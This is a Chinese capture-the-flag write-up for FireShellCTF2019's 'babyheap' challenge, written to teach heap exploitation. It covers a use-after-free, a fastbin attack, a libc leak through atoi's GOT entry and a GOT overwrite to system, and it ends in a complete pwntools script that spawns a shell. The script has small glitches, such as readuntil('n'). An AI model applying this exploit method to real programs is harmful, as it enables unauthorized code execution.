FireShellCTF2019 babyheap 詳細題解
前言
前兩天做了一下 Fireshell 的 pwn 題,難度貌似也不是很大,做了一下堆的 babyheap,這裡把詳細的解題思路記錄一下,很多都是自己在學習堆過程中的一些總結,希望能給同樣在入門堆利用的朋友們一些啟發。
題目分析
題目給了一個 babyheap 的程式和一個 libc.so.6。
用 64 位的 IDA 開啟程式,程式還是清單式的選項,邏輯也很簡單,常見的幾個功能 create、edit、show、delete
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { unsigned int v3; // eax char s; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); sub_400841(a1, a2, a3);// init while ( 1 ) { while ( 1 ) { while ( 1 ) { sub_40089F(); printf("> "); memset(&s, 0, 8uLL); read(0, &s, 8uLL); v3 = atoi(&s); if ( v3 != 3 ) break; if ( qword_6020B0 == 1 ) { puts("Again? Oh no, you can't"); exit(0); } sub_40091D();// show } if ( v3 > 3 ) break; if ( v3 == 1 ) { if ( qword_6020A0 == 1 ) { puts("Again? Oh no, you can't"); exit(0); } sub_4008B2();// create } else { if ( v3 != 2 ) goto LABEL_33; if ( qword_6020A8 == 1 ) { puts("Again? Oh no, you can't"); exit(0); } sub_4008E1();// edit } } if ( v3 == 5 ) { puts("Bye!"); exit(0); } if ( v3 < 5 ) { if ( qword_6020B8 == 1 ) { puts("Again? Oh no, you can't"); exit(0); } sub_40094A();// delete } else { if ( v3 != 1337 ) { LABEL_33: puts("Invalid option"); exit(0); } if ( qword_6020C0 == 1 ) { puts("Again? Oh no, you can't"); exit(0); } sub_400982();//gift } } }
- 題目當中有些 if 語句的條件需要注意一下, 會對後面的填充資料有一些影響 ,但是影響不大
在程式的最底下有一個函式 sub_400982(),有點像一個後門,當 v3 = 1337 時才會觸發。
即當輸入為 1337 時,會進入一個 fill 緩衝區的功能,填充內容到 buf 指標指向的位置。
__int64 sub_400982()//gift { buf = malloc(96uLL); printf("Fill "); read(0, buf, 64uLL); return qword_6020C0++ + 1; }
利用這個功能配合 uaf 我們就可以達到劫持控制流的目的,詳細利用繼續往下看。
漏洞點分析
在 IDA 裡瀏覽程式的功能,很容易發現在 delete 函式裡(sub_40094A),在 free 一個 chunk 之後, 沒有將 buf 的指標置空 ,導致 可以繼續填充資料到這個 chunk 的 memory 中 ,所以這裡的 fd、bk 的位置可以由我們控制。
int sub_40094A() { int result; // eax free(buf);//沒有置空指標 result = puts("Done!"); qword_6020A0 = 0LL; qword_6020B8 = 1LL; return result; }
我們就可以偽造 fd、bk 的值配合 fastbin attack 來控制程式流跳轉到我們想要的位置。
-
關於 fastbins 的介紹以及利用方式可以看這裡:
https://www.freebuf.com/news/88660.html
uaf 漏洞
所以這裡就造成了 use-after-free 漏洞(uaf),下面分析利用步驟。
這裡我們要達到劫持控制流的目的, 就需要使得 fd 指向我們需要的填充的資料區裡
根據 fastbins 的特點,在繼續 new 一個 chunk 之後,會根據 上一個 free 掉的 chunk 的 fd 值作為 malloc 的指標。
比如這個是已經佈置好 fd 指標的情況, 下一次的 malloc 就會到 0x34333231 這個地址處
uaf 漏洞利用完後,我們可以佈置資料到 buf 上方,然後使用 fill 功能填充資料到 buf 處,使用 show 功能輸出我們想要的地址的值,然後覆蓋 got 表來 getshell。
關於 uaf 的介紹可以看這裡:
https://blog.csdn.net/qq_31481187/article/details/73612451?locationNum=10&fps=1
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/詳細利用步驟
偽造 fd
這裡大體的步驟是 create -> delete -> edit -> create
在 exp 中,可以用如下的表示:
create() dele() edit(p64(0x602098)) create()
這裡用 gdb 動態除錯一下, 在 create 函式和 delete 函式處下斷點
pwndbg> b *0x4008B2 Breakpoint 1 at 0x4008b2 pwndbg> b *0x40094A Breakpoint 2 at 0x40094a
run 執行,在第一個 create 中可以看到建立好的堆,以及 buf (0x6020C8)的值, 也就是 chunk 的 memory 的位置 。
c 繼續執行,在 delete 函式裡執行完 free 操作之後, 發現這個 chunk 已經掛在了 fastbins 上了
接下來呼叫 edit 方法來填充被 free 掉的 chunk 的 fd 的位置
為什麼會被填充到上一個 chunk 的 memory 區域呢?因為在上一步的 free 操作中,作為指標的 buf 沒有被置空, 還是指向了 0x603010 這個區域,在 edit 函式裡呼叫了 read 函式對 buf 指向的區域進行填充。
在 IDA 中可以看的很清楚:
ssize_t sub_4008E1()//edit { ssize_t result; // rax printf("Content? "); result = read(0, buf, 0x40uLL);//寫入資料到 buf 的指標處 qword_6020A8 = 1LL; return result; }
我們把要跳轉的地址填進去, 這裡選擇 0x602098 這個位置作為 fd 的值
也就是:
edit(p64(0x602098))
c 繼續執行到下一個 create,檢視堆的排布,fd 成功放上去了, fastbins 的值為 fd 的值
- 這裡是使用 gdb 的本地除錯,edit 是隨便輸入的,getshell 時需要使用 pwntools 來利用
所以在 下一次 malloc 時就會到分配到這個位置,配合 gift 函式對目標區域進行填充。
如果這裡繼續除錯進行 malloc 操作時,就會報錯找不到這個地址
呼叫 _int_malloc 函式的時候會提示:
Program received signal SIGSEGV (fault address 0xa34333241)
所以這裡我們需要填上 0x602098,這裡就完成了對 uaf 漏洞的 fastbins attack 的利用
- 這裡涉及到了 fastbins 的一些特性,也可以看我之前寫過的文章
使用 gdb.attach 除錯效果如下:
洩露 libc base addr
繼續呼叫 gift 函式,因為在呼叫 gift 函式時,會進行一次 malloc 操作, 自然而然就分配到 fastbins 指向的位置 ,也就是 0x602098 處
我們從 0x602098 的位置處往下填充,填充到 buf 的位置:
gift(p64(2)*6+p64(0x602060))
- 這裡不能填充為 1,因為這樣無法跳過 if 條件,進不了函式的邏輯
這裡 填充 buf 為我們想要輸出的地址 ,配合 show 函式的可以輸出想要的資訊
這裡選擇 0x602060 這個位置,也就是 atoi 函式的 got 表的指標
填充完的效果如下:
洩露 atoi 函式的地址之後,根據所給的 libc.so.6 的該函式的偏移,可以計算出 libc 的基地址:
libc_base=u64(r.readuntil('n')[:-1].ljust(8,chr(0)))-libc.symbols['atoi']
篡改 atoi 的 got 表
下一步修改 atoi 的 got 表為 system 函式的地址, 呼叫 edit 函式時,會向 buf 中寫入資料 (因為已經修改完了 buf 的指標值),這裡就可以在 atoi 的 got 表上寫下 system 函式的地址
system_addr=libc_base+libc.symbols['system'] edit(p64(system_addr))
getshell
呼叫上面的 edit 函式完成後,會回到 main 函式中,因為這裡的 atoi 被我們改成了 system ,在呼叫 read 函式時,只要我們輸入 “/bin/sh”, 就會作為引數傳入 system 函式 ,觸發 system 函式就進行 getshell。
r.sendline('/bin/sh')
至此,利用完畢
附上最後的 exp
from pwn import * #r=remote('51.68.189.144',31005) r = process("./babyheap") #context(log_level='debug') libc=ELF('./libc.so.6') #libc =ELF('/lib/x86_64-linux-gnu/libc.so.6') r.readuntil('>') def create(): r.sendline('1') r.readuntil('>') def dele(): r.sendline('4') r.readuntil('>') def edit(a): r.sendline('2') r.readuntil('Content?') r.send(a) r.readuntil('>') def gift(a): r.sendline('1337') r.readuntil('Fill ') r.send(a) r.readuntil('> ') def show(): r.sendline('2') r.readuntil(': ') #+------------------------use after free---------------------------+# create() dele() edit(p64(0x602098)) create() #+------------------------fastbins attack--------------------------+# gift(p64(2)*6+p64(0x602060)) libc_base=u64(r.readuntil('n')[:-1].ljust(8,chr(0)))-libc.symbols['atoi'] print "libc_base:"+str(libc_base) #+------------------------overwrite the got table------------------+# system_addr=libc_base+libc.symbols['system'] edit(p64(system_addr)) #print hex(system_addr) #+------------------------call the system func---------------------+# r.sendline('/bin/sh') r.interactive()
總結
整個漏洞的利用思路如下:
—> free 沒有置空指標
—> uaf 偽造 fd
—> fastbin attack 分配到 fd 的位置
—> 呼叫 gift 方法填充修改 buf 的值為 got 表地址
—> show 函式洩露出 buf 的內容
—> 得到 libc 的地址
—> edit 函式修改 atoi 為 system 函式
—> 輸入 “/bin/sh” 同時呼叫 system 函式進行 getshell
這裡最重要的是 利用的思路以及對於這些攻擊方式的熟悉和靈活運用 ,自己多動手除錯才會對這些知識的理解更加深刻。
- 這裡推薦一個 b 站的堆利用的教學視訊 ,這是一整套的教程,前幾期都講的特別好
https://www.bilibili.com/video/av17482233/